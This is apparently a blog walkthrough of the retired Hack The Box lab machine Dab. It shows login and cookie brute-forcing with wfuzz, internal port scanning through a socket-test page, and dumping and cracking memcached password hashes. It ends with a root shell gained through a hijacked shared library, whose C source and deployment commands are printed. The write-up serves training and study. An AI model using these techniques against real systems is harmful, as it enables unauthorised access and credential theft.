Htb Dab
by Jake
This week we are taking a look at the retired Hack The Box machine Dab (Medium-Hard difficulty)
Start off with an nmap scan:
root@kali: nmap -sC -sV -oN nmap 10.10.10.86
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-29 11:44 AEDT
Nmap scan report for 10.10.10.86
Host is up (0.24s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 8803 Mar 26 2018 dab.jpg
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.4
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 20:05:77:1e:73:66:bb:1e:7d:46:0f:65:50:2c:f9:0e (RSA)
| 256 61:ae:15:23:fc:bc:bc:29:13:06:f2:10:e0:0e:da:a0 (ECDSA)
|_ 256 2d:35:96:4c:5e:dd:5c:c0:63:f0:dc:86:f1:b1:76:b5 (ED25519)
80/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
| http-title: Login
|_Requested resource was http://10.10.10.86/login
8080/tcp open http nginx 1.10.3 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Internal Dev
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.37 seconds
First of all we look at the site on port 80:
Before we try anything with the login form, we look at the other open ports, on port 8080 we see another website that requires a password authentication cookie:
and over on ftp we see there is a single image that we can download. So we download that and see if it is trying to hide anything from us.
root@kali: ftp 10.10.10.86
Connected to 10.10.10.86.
220 (vsFTPd 3.0.3)
Name (10.10.10.86:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 120 4096 Mar 26 2018 .
drwxr-xr-x 2 0 120 4096 Mar 26 2018 ..
-rw-r--r-- 1 0 0 8803 Mar 26 2018 dab.jpg
226 Directory send OK.
ftp> get dab.jpg
local: dab.jpg remote: dab.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dab.jpg (8803 bytes).
226 Transfer complete.
8803 bytes received in 0.00 secs (186.5599 MB/s)
ftp>
Running steghide
on the image we can see there is a hidden file, so let’s see if we can extract it:
root@kali: steghide info dab.jpg
"dab.jpg":
format: jpeg
capacity: 383.0 Byte
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "dab.txt":
size: 8.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
root@kali: steghide extract -sf dab.jpg
Enter passphrase:
wrote extracted data to "dab.txt".
root@kali: cat dab.txt
Nope...
First rabbit hole found.
Time to move back to the login form. Instead of using hydra, this time we are going to try something different and use wfuzz.
Using burp or the browser console we are able to easily find the post fields and values that we want to fuzz, and go ahead and fuzz it with a common password wordlist:
root@kali: wfuzz -w /usr/share/wordlists/wfuzz/others/common_pass.txt -d "username=FUZZ&password=FUZZ&submit=Login" http://10.10.10.86/login
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.86/login
Total requests: 52
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000001: C=200 18 L 36 W 543 Ch ""
000002: C=200 18 L 36 W 543 Ch "123456"
000003: C=200 18 L 36 W 543 Ch "1234567"
000004: C=200 18 L 36 W 543 Ch "12345678"
000005: C=200 18 L 36 W 543 Ch "123asdf"
000007: C=200 18 L 36 W 542 Ch "admin"
000006: C=200 18 L 36 W 542 Ch "Admin"
000008: C=200 18 L 36 W 543 Ch "administrator"
000009: C=200 18 L 36 W 543 Ch "asdf123"
000010: C=200 18 L 36 W 543 Ch "backup"
000011: C=200 18 L 36 W 543 Ch "backupexec"
000013: C=200 18 L 36 W 543 Ch "clustadm"
000012: C=200 18 L 36 W 543 Ch "changeme"
000014: C=200 18 L 36 W 543 Ch "cluster"
000015: C=200 18 L 36 W 543 Ch "compaq"
000017: C=200 18 L 36 W 543 Ch "dell"
000016: C=302 3 L 24 W 209 Ch "default"
000018: C=200 18 L 36 W 543 Ch "dmz"
000019: C=200 18 L 36 W 543 Ch "domino"
000020: C=200 18 L 36 W 543 Ch "exchadm"
000021: C=200 18 L 36 W 543 Ch "exchange"
000023: C=200 18 L 36 W 543 Ch "gateway"
000024: C=200 18 L 36 W 543 Ch "guest"
000022: C=200 18 L 36 W 543 Ch "ftp"
000025: C=200 18 L 36 W 543 Ch "lotus"
000026: C=200 18 L 36 W 543 Ch "money"
000027: C=200 18 L 36 W 543 Ch "notes"
000028: C=200 18 L 36 W 543 Ch "office"
000029: C=200 18 L 36 W 543 Ch "oracle"
000030: C=200 18 L 36 W 543 Ch "pass"
000031: C=200 18 L 36 W 543 Ch "password"
000032: C=200 18 L 36 W 543 Ch "password!"
000033: C=200 18 L 36 W 543 Ch "password1"
000034: C=200 18 L 36 W 543 Ch "print"
000035: C=200 18 L 36 W 543 Ch "qwerty"
000036: C=200 18 L 36 W 543 Ch "replicate"
000037: C=200 18 L 36 W 543 Ch "seagate"
000038: C=200 18 L 36 W 543 Ch "secret"
000039: C=200 18 L 36 W 543 Ch "sql"
000040: C=200 18 L 36 W 543 Ch "sqlexec"
000041: C=200 18 L 36 W 543 Ch "temp"
000042: C=200 18 L 36 W 543 Ch "temp!"
000043: C=200 18 L 36 W 543 Ch "temp123"
000044: C=200 18 L 36 W 543 Ch "test"
000045: C=200 18 L 36 W 543 Ch "test!"
000047: C=200 18 L 36 W 543 Ch "tivoli"
000046: C=200 18 L 36 W 543 Ch "test123"
000049: C=200 18 L 36 W 543 Ch "virus"
000048: C=200 18 L 36 W 543 Ch "veritas"
000050: C=200 18 L 36 W 543 Ch "web"
000052: C=200 18 L 36 W 543 Ch "KKKKKKK"
000051: C=200 18 L 36 W 543 Ch "www"
Total time: 1.696990
Processed Requests: 52
Filtered Requests: 0
Requests/sec.: 30.64248
The fuzzed value default returns a different value to all the rest, so we go over to the form and try it out as both the username and password. looks like default:default
are one set of working credentials:
The 8080 page mentioned cookies. So lets see if we have anything interesting in ours.
session=eyJ1c2VybmFtZSI6ImRlZmF1bHQifQ.DwhgOg.pANflNXiv4UN963tKWDTBDX2dJs
From previous experience we believe that this is could likely a jot token. But using a JOT decoder returns some invalid results so this could be rabbit hole number 2.
Taking what the website is telling us literally, we try wfuzz again, this time against a simple password=
cookie to see if we can get any interesting results. The common_pass.txt
list worked for us last time, maybe it will work again this time:
root@kali: wfuzz -w /usr/share/wordlists/wfuzz/others/common_pass.txt -b password=FUZZ http://10.10.10.86:8080/
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.86:8080/
Total requests: 52
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000001: C=200 14 L 29 W 324 Ch ""
000002: C=200 14 L 29 W 324 Ch "123456"
000003: C=200 14 L 29 W 324 Ch "1234567"
000004: C=200 14 L 29 W 324 Ch "12345678"
000005: C=200 14 L 29 W 324 Ch "123asdf"
000006: C=200 14 L 29 W 324 Ch "Admin"
000007: C=200 14 L 29 W 324 Ch "admin"
000008: C=200 14 L 29 W 324 Ch "administrator"
000009: C=200 14 L 29 W 324 Ch "asdf123"
000010: C=200 14 L 29 W 324 Ch "backup"
000011: C=200 14 L 29 W 324 Ch "backupexec"
000012: C=200 14 L 29 W 324 Ch "changeme"
000013: C=200 14 L 29 W 324 Ch "clustadm"
000014: C=200 14 L 29 W 324 Ch "cluster"
000015: C=200 14 L 29 W 324 Ch "compaq"
000016: C=200 14 L 29 W 324 Ch "default"
000017: C=200 14 L 29 W 324 Ch "dell"
000018: C=200 14 L 29 W 324 Ch "dmz"
000019: C=200 14 L 29 W 324 Ch "domino"
000020: C=200 14 L 29 W 324 Ch "exchadm"
000021: C=200 14 L 29 W 324 Ch "exchange"
000022: C=200 14 L 29 W 324 Ch "ftp"
000023: C=200 14 L 29 W 324 Ch "gateway"
000024: C=200 14 L 29 W 324 Ch "guest"
000025: C=200 14 L 29 W 324 Ch "lotus"
000026: C=200 14 L 29 W 324 Ch "money"
000027: C=200 14 L 29 W 324 Ch "notes"
000028: C=200 14 L 29 W 324 Ch "office"
000029: C=200 14 L 29 W 324 Ch "oracle"
000030: C=200 14 L 29 W 324 Ch "pass"
000031: C=200 14 L 29 W 324 Ch "password"
000032: C=200 14 L 29 W 324 Ch "password!"
000033: C=200 14 L 29 W 324 Ch "password1"
000034: C=200 14 L 29 W 324 Ch "print"
000035: C=200 14 L 29 W 324 Ch "qwerty"
000036: C=200 14 L 29 W 324 Ch "replicate"
000037: C=200 14 L 29 W 324 Ch "seagate"
000038: C=200 21 L 48 W 540 Ch "secret"
000039: C=200 14 L 29 W 324 Ch "sql"
000040: C=200 14 L 29 W 324 Ch "sqlexec"
000041: C=200 14 L 29 W 324 Ch "temp"
000042: C=200 14 L 29 W 324 Ch "temp!"
000043: C=200 14 L 29 W 324 Ch "temp123"
000044: C=200 14 L 29 W 324 Ch "test"
000045: C=200 14 L 29 W 324 Ch "test!"
000046: C=200 14 L 29 W 324 Ch "test123"
000047: C=200 14 L 29 W 324 Ch "tivoli"
000048: C=200 14 L 29 W 324 Ch "veritas"
000049: C=200 14 L 29 W 324 Ch "virus"
000050: C=200 14 L 29 W 324 Ch "web"
000051: C=200 14 L 29 W 324 Ch "www"
000052: C=200 14 L 29 W 324 Ch "KKKKKKK"
Total time: 1.674304
Processed Requests: 52
Filtered Requests: 0
Requests/sec.: 31.05768
Once again we get a hit! “secret” gives us a different result to all the other values. Back in our browser we use the extension Cookie Quick Manager (Or any cookie editing tool) to add the password=secret
cookie to the Dab IP:
Browsing back to the site on port 8080, we can see that we are in and have some kind of TCP Socket testing application.
Testing a few common ports with random “Line to send” values we can see that it appears to be connecting to the port with telnet or netcat and then sending the value we have put into the “line to send”.
We could use our reliable friend wfuzz that has helped us so much so far, but we also wrote our own custom python script that uses some multi-threading magic to speed things up:
import requests
from multiprocessing import Pool as ThreadPool
# A dict that holds our special cookie value
cookies = {
'password': 'secret'
}
# For all ports, loop through them, submitting them to the server.
ports = range(0, 65535)
def check(i):
#print("checking port: "+str(i))
params= {
'port': i,
'cmd': "test"
}
r = requests.get('http://10.10.10.86:8080/socket', cookies=cookies, params=params)
if(r.status_code != 500):
print("=============")
print("Checking "+str(i))
print("=============")
print("Server Response: "+str(r.status_code))
print("=============")
print(r.text)
print("##############")
pool = ThreadPool (50)
results = pool.map(check, ports)
pool.close()
pool.join()
For anyone looking at using tools built int to Kali, the wfuzz command that achieves the same result is below. This can also be extended with the -t argument to increase the threads and potentially make it faster. We hide any HTTP 500 Response codes, because we only want to know the ports that have successfully connected. The wordlist here is a file containing every number from 0 to 65535.
root@kali: wfuzz --hc=500 -w portlist -b password=secret http://10.10.10.86:8080/socket\?port\=FUZZ\&cmd\=test
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.86:8080/socket?port=FUZZ&cmd=test
Total requests: 65535
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000022: C=200 28 L 55 W 629 Ch "22"
000021: C=200 28 L 61 W 627 Ch "21"
000080: C=200 40 L 84 W 1010 Ch "80"
008080: C=200 40 L 84 W 1010 Ch "8080"
011211: C=200 27 L 52 W 576 Ch "11211"
042998: C=200 27 L 52 W 574 Ch "42998"
053776: C=200 27 L 52 W 574 Ch "53776"
Total time: 863.5118
Processed Requests: 65535
Filtered Requests: 65528
Requests/sec.: 75.89357
There are a few extra ports listed here that were not picked up by our nmap scan. After doing some research we determine that the port 11211 is used by a service called memcached. The documentation gives us a guide on the commands we can use to communicate with memcache.
A typical request might look like (see cmd below in request)
GET /socket?port=11211&cmd=stats%20slabs HTTP/1.1
Host: 10.10.10.86:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.86:8080/socket?port=11211&cmd=GET
Connection: close
Cookie: session=eyJ1c2VybmFtZSI6ImRlZmF1bHQifQ.Dwhn5A.pBWBUGDT6_X_WtOHeo_5ZYXv7Nc; password=secret
Upgrade-Insecure-Requests: 1
and we get the response:
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Sat, 29 Dec 2018 03:27:33 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 1376
<!DOCTYPE html>
<html lang="en">
<head>
<title>Internal Dev</title>
<meta charset="UTF-8">
<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width">
</head>
<body>
<div class="container wrapper">
<p>Status of cache engine: Online</p>
<h4>TCP socket test</h4>
<form action="/socket">
<input type="text" name="port" placeholder="TCP port"></input>
<input type="text" name="cmd" placeholder="Line to send..."></input>
<input type="submit" value="Submit"</input>
</form>
<p>Output</p>
<pre>
STAT 16:chunk_size 2904
STAT 16:chunks_per_page 361
STAT 16:total_pages 1
STAT 16:total_chunks 361
STAT 16:used_chunks 1
STAT 16:free_chunks 360
STAT 16:free_chunks_end 0
STAT 16:mem_requested 2880
STAT 16:get_hits 0
STAT 16:cmd_set 4
STAT 16:delete_hits 0
STAT 16:incr_hits 0
STAT 16:decr_hits 0
STAT 16:cas_hits 0
STAT 16:cas_badval 0
STAT 16:touch_hits 0
STAT 26:chunk_size 27120
STAT 26:chunks_per_page 38
STAT 26:total_pages 1
STAT 26:total_chunks 38
STAT 26:used_chunks 1
STAT 26:free_chunks 37
STAT 26:free_chunks_end 0
STAT 26:mem_requested 24699
STAT 26:get_hits 15574
STAT 26:cmd_set 76
STAT 26:delete_hits 0
STAT 26:incr_hits 0
STAT 26:decr_hits 0
STAT 26:cas_hits 0
STAT 26:cas_badval 0
STAT 26:touch_hits 0
STAT active_slabs 2
STAT total_malloced 2078904
END
</pre>
</div>
</body>
</html>
See the STAT 16
and STAT 26
? They’re our slabs, I’m guessing they’re some sort of partition ID in memcached.
After reading up on the memcache documentation we can run some simple tests with the stats command:
stats cachedump 26 0
ITEM users [24625 b; 1546048892 s]
stats cachedump 16 0
ITEM stock [2807 b; 1547613599 s]
END
Stock and Users seem like 2 things the web app on port 80 might be using (users for login and stock to build the “items in stock” listed on the page.
Okay, this bit took a little while to figure out. The cached keys clear really quick. The technique here is to force a cache update. Since we believe the app on port 80 pulls data from memcache, not a database directly, maybe we need to refresh or re-login to it if we stop getting results from our memcache commands.
We are not too interested in the stock list, but we are definitely interested to see what users are being loaded into memcache:
The following commands are entered into the “Line to send” field with the port 11211:
stats cachedump 26 0
ITEM users [24625 b; 1546048892 s]
get users
VALUE users 0 24625
{"quinton_dach": "17906b445a05dc42f78ae86a92a57bbd", "jackie.abbott": "c6ab361604c4691f78958d6289910d21", "isidro": "e4a4c90483d2ef61de42af1f044087f3", "roy": "afbde995441e19497fe0695e9c539266", "colleen": "d3792794c3143f7e04fd57dc8b085cd4", "harrison.hessel": "bc5f9b43a0336253ff947a4f8dbdb74f", "asa.christiansen": "d7505316e9a10fc113126f808663b5a4", "jessie": "71f08b45555acc5259bcefa3af63f4e1", "milton_hintz": "8f61be2ebfc66a5f2496bbf849c89b84", "demario_homenick": "2c22da161f085a9aba62b9bbedbd4ca7", "paris": "ef9b20082b7c234c91e165c947f10b71", "gardner_ward": "eb7ed0e8c112234ab1439726a4c50162", "daija.casper": "4d0ed472e5714e5cca8ea7272b15173a", "alanna.prohaska": "6980ba8ee392b3fa6a054226b7d8dd8f", "russell_borer": "cb10b94b5dbb5dfab049070a2abda16e", "domenica.kulas":
...
"01971ddb0d362010a8e484f0630de1e9", "devon": "953155467fab407a18cb7c8f576d1ef6", "kory": "c40c83a8bd2914202bd22770405b0b4c", "keely.reynolds": "8b0b59e115aad4d3deee62b591c80b28", "adrianna": "3ceb64d1364a8c92134484029e4f2770", "jaylin.langworth": "f3e06518bbfa9d108ad30cf5628e480a", "agustin.kreiger": "a434c202f65475988efa9622a77f9594", "shaylee_roob": "81dbedf631f0dd59d00403c661972c0a", "zelma": "55f0db8276de5dc76d9b858bd0de78a0"}
END
We get a large JSON string response with usernames and what look like password hashes. After cleaning it all up we are left with a decent sized list that we need to crack:
quinton_dach:17906b445a05dc42f78ae86a92a57bbd
jackie.abbott:c6ab361604c4691f78958d6289910d21
isidro:e4a4c90483d2ef61de42af1f044087f3
roy:afbde995441e19497fe0695e9c539266
colleen:d3792794c3143f7e04fd57dc8b085cd4
harrison.hessel:bc5f9b43a0336253ff947a4f8dbdb74f
asa.christiansen:d7505316e9a10fc113126f808663b5a4
jessie:71f08b45555acc5259bcefa3af63f4e1
milton_hintz:8f61be2ebfc66a5f2496bbf849c89b84
demario_homenick:2c22da161f085a9aba62b9bbedbd4ca7
paris:ef9b20082b7c234c91e165c947f10b71
gardner_ward:eb7ed0e8c112234ab1439726a4c50162
daija.casper:4d0ed472e5714e5cca8ea7272b15173a
alanna.prohaska:6980ba8ee392b3fa6a054226b7d8dd8f
russell_borer:cb10b94b5dbb5dfab049070a2abda16e
domenica.kulas:5cb322691472f05130416b05b22d4cdf
...
devon:953155467fab407a18cb7c8f576d1ef6
kory:c40c83a8bd2914202bd22770405b0b4c
keely.reynolds:8b0b59e115aad4d3deee62b591c80b28
adrianna:3ceb64d1364a8c92134484029e4f2770
jaylin.langworth:f3e06518bbfa9d108ad30cf5628e480a
agustin.kreiger:a434c202f65475988efa9622a77f9594
shaylee_roob:81dbedf631f0dd59d00403c661972c0a
zelma:55f0db8276de5dc76d9b858bd0de78a0
Hashid
believes that they are MD5s so lets run hashcat: (we pulled the list out to a better spec’d windows box to speed up the cracking, but the command is the same in Kali)
C:\hashcat-5.1.0>hashcat64.exe -m 0 dab.md5 rockyou.txt
9731e89f01c1fb943cf0baa6772d2875 - abbigail:piggy
2ac9cb7dc02b3c0083eb70898e549b63 - admin:Password1
5177790ad6df0ea98db41b37b602367c - irma:strength
6f9ff93a26a118b460c878dc30e17130 - ona:monkeyman
0daa6275280be3cf03f9f9c62f9d26d1 - rick:lovesucks1
1e0ad2ec7e8c3cc595a9ec2e3762b117 - alec:blaster
fc7992e8952a8ff5000cb7856d8586d2 - genevieve:Princess1
eb95fc1ab8251cf1f8f870e7e4dae54d - wendell:megadeth
0ef9c986fad340989647f0001e3555d4 - aglae:misfits
c21f969b5f03d33d43e04f8f136e7682 - default:default
254e5f2c3beb1a3d03f17253c15c07f3 - d_murphy:hacktheplanet
fe01ce2a7fbac8fafaed7c982a04e229 - demo:demo
rockyou.txt is not able to crack them all, but its a good start. We thought about scripting the next steps, but with only 12 to test, it would have taken more time to write the script, than it would have to just manually test each credential against SSH. About half way through we get a hit with genevieve:Princess1
and are able to read the user.txt flag.
Now on to root.
Trying sudo -l
we get a troll executable: (rabbit hole 3)
genevieve@dab:~$ sudo /usr/bin/try_harder
root@dab:~# cat root.txt
Segmentation fault
That would have been too easy! Try something else.
So we move on and look for any SUID binaries:
genevieve@dab:~$ find / -perm -4000 -type f 2>/dev/null
/bin/umount
/bin/ping
/bin/ping6
/bin/su
/bin/ntfs-3g
/bin/fusermount
/bin/mount
/usr/bin/at
/usr/bin/newuidmap
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/myexec
/usr/bin/pkexec
/usr/bin/chfn
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/sbin/ldconfig
/sbin/ldconfig.real
Comparing this output with our local results we are able to see a couple of binaries that are non-standard. /usr/bin/myexec
and /sbin/ldconfig
.
myexec
does not sound like a Linux tool we have ever heard of, so we copy the binary off to our local machine and do some analysis on it.
As we are connected through SSH, we can use SCP to copy the file off or for a laugh we tried the credentials against FTP and were also able to download the executable from there. The two methods are shown below:
root@kali: scp genevieve@10.10.10.86:/usr/bin/myexec myexec
genevieve@10.10.10.86's password: Princess1
myexec 100% 8864 37.1KB/s 00:00
root@kali: ftp 10.10.10.86
Connected to 10.10.10.86.
220 (vsFTPd 3.0.3)
Name (10.10.10.86:root): genevieve
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> binary
200 Switching to Binary mode.
ftp> cd /usr/bin
250 Directory successfully changed.
ftp> get myexec
local: myexec remote: myexec
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for myexec (8864 bytes).
226 Transfer complete.
8864 bytes received in 0.00 secs (5.5983 MB/s)
ftp>
Now that we have the binary locally, running it throws an interesting error:
root@kali:./myexec
./myexec: error while loading shared libraries: libseclogin.so: cannot open shared object file: No such file or directory
We find the libseclogin.so
library on the dab machine under /usr/lib
, and download that and place it in our local /usr/lib
directory. (Remember to delete this file when you are done with the box)
This time when we run the executable we are asked for a password:
./myexec
Enter password: test
Invalid password
In an attempt to find out what is going on in the background we start off with a simple tracing tool called ltrace:
root@kali: ltrace ./myexec
__libc_start_main(0x400836, 1, 0x7ffe086b9d68, 0x4008f0 <unfinished ...>
printf("Enter password: ") = 16
__isoc99_scanf(0x400985, 0x7ffe086b9c30, 0, 0Enter password: test
) = 1
strcmp("s3cur3l0g1n", "test") = 17
puts("Invalid password\n"Invalid password
) = 18
+++ exited (status 1) +++
We can see easily that it is performing a string compare with the string “s3cur3l0g1n”. So we try to use this password and see what output we get this time:
genevieve@dab:~$ /usr/bin/myexec
Enter password: s3cur3l0g1n
Password is correct
seclogin() called
TODO: Placeholder for now, function not implemented yet
A common linux privesc technique is to use shared object libraries and some misconfigurations to get the application to use a different shared library file. We know that myexec
uses the libseclogin.so
shared library, so that looks like a good target for us.
Linux will look for shared libraries in the following order: (taken from https://linux.die.net/man/1/ld)
- Any directories specified by rpath-link options (directories specified by rpath-link options are only effective at link time)
- Any directories specified by –rpath options (directories specified by rpath options are included in the executable and used at runtime)
- LD_RUN_PATH
- LD_LIBRARY_PATH
- Directories in the DT_RUNPATH or DT_RPATH. (DT_RPATH entries are ignored if DT_RUNPATH entries exist
- /lib and /usr/lib
- Directories within /etc/ld.so.conf
Based on this list our /usr/lib/linseclogin.so will be loaded at point 6, this potentially gives us 5 chances (or misconfigurations) to jump in before the application loads the real shared object library.
Options 1. and 2. might not work for us, as they need to be exploited at link and run time, but there is a chance we can set the LD_RUN_PATH
or LD_LIBRARY_PATH
environment variables.
First we need to do a little bit of prep work so that we can confirm our exploit and hijack of the library path has worked. We use the tool ldd
against myexec
to see where the current library is being loaded from as well as any current values for the environment variables, and if we are able to set the value to something custom, we also look at the existing ldd
config to see if there are any other folders we can upload our exploit library to.
genevieve@dab:~$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007fffb79f3000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f46640c4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4663cfa000)
/lib64/ld-linux-x86-64.so.2 (0x00007f46642c6000)
genevieve@dab:~$ echo $LD_RUN_PATH
genevieve@dab:~$ echo $LD_LIBRARY_PATH
genevieve@dab:~$ echo $DT_RUN_PATH
genevieve@dab:~$ export LD_LIBRARY_PATH=/those/guys
genevieve@dab:~$ echo $LD_LIBRARY_PATH
/those/guys
genevieve@dab:~$ export LD_LIBRARY_PATH=
genevieve@dab:~$
genevieve@dab:~$ ls /etc/ld.so.conf.d/
fakeroot-x86_64-linux-gnu.conf test.conf
libc.conf x86_64-linux-gnu.conf
genevieve@dab:~$ cat /etc/ld.so.conf.d/test.conf
/tmp
We now know that (1) we can set the environment variable to anything we like, and (2) that there is a test.conf
file pointing to /tmp
in the ld.conf.d/
directory.
With all this information we have enough to start building and deploying our malicious shared object library.
We start off with a simple SUID shell application we have used before:
root@kali: cat libseclogin.c
#include <stdio.h>
void seclogin(void){
setuid(0);
setgid(0);
system("/bin/bash", NULL, NULL);
}
We changed the function name from main()
to seclogin
, because that is the function myexec told us it tried to run when we gave it the correct password. From there we compile it into a .so
file with gcc, this can be done either on the target machine or on our local machine and copied over to the targets /tmp
folder:
root@kali: gcc -shared -fPIC -o libseclogin.so libseclogin.c
root@kali: scp libseclogin.so genevieve@10.10.10.86:/tmp/libseclogin.so
Side note: Because we have full control of our local environment, and a copy of the executable and shared library, we can also test our compiled exploit locally first, to iron out any potential bugs before attempting it on the target.
Once it is on the target and in the right folder, we can cover all bases by:
- Give the shared object library execute permissions
- Manually link the individual library file with ldconfig
- Update the LD_LIBRARY_PATH environment variable
- Tell ldconfig to use the test.conf configuration file instead of /etc/ld.so.conf
- Retest ldd against myexec to ensure that it will now use our shared object library
- Run myexec and hope our session gets upgraded
genevieve@dab:/tmp$ chmod +x libseclogin.so
genevieve@dab:/tmp$ldconfig -l /tmp/libseclogin.so
genevieve@dab:/tmp$LD_LIBRARY_PATH=/tmp
genevieve@dab:/tmp$ldconfig -f /etc/ld.so.conf.d/test.conf
genevieve@dab:/tmp$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007fff93ffe000)
libseclogin.so => /tmp/libseclogin.so (0x00007f95282df000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9527cf6000)
/lib64/ld-linux-x86-64.so.2 (0x00007f95280c0000)
genevieve@dab:/tmp$ myexec
Enter password: s3cur3l0g1n
Password is correct
root@dab:/tmp# cat /root/root.txt
45cd5[REDACTED]6a98e
And our exploit worked and we have a root bash session and can read the root.txt.
tags: htb - walkthrough - dab